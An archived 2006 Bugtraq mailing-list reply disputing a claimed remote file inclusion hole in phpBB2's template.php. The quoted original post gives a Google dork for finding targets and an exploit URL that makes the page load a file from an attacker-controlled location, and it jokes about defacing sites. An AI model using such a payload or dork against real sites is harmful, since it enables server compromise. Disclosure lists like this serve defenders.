bugtraq - Re: phpBB2 (template.php) Remote File Inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <44840416.6020201@heapoverflow.com>
Date: Mon, 05 Jun 2006 12:14:46 +0200
From: "ad@...poverflow.com" <ad@...poverflow.com>
To: canberx@...uxmail.org
Cc: bugtraq@...urityfocus.com
Subject: Re: phpBB2 (template.php) Remote File Inclusion

template.php is an addon and not part of phpbb2, noobs....


canberx@...uxmail.org wrote:
> ********************************************************************
>
> *Title:
>
> *phpBB2 Remote File Include
>
> *
>
> *
>
> *Credit:
>
> *Canberx
>
> *
>
> *
>
> *Thanx:
>
> *Forewer-Partizan
>
> *
>
> *
>
> *Mail:
>
> *canberx@...uxmail.org    www.canberx.tk
>
> *
>
> *
>
> *Google Dork:
>
> *Powered by phpBB © 2001, 2002 phpBB Group
>
> *
>
> *
>
> *Exploit:
>
> *www.target.com/[path_to_phpbb]/template.php?page=[attacker]
>
> *
>
> *
>
> *********************************************************************
>
>
> Plz Don't Hacked site if it already has been defaced :)
>
>
> *********************************************************************
>
>
> __________ NOD32 1.1578 (20060604) Information __________
>
> This message was checked by NOD32 antivirus system.
> http://www.eset.com
>
>
>
>   


View attachment "ad.vcf" of type "text/x-vcard" (168 bytes)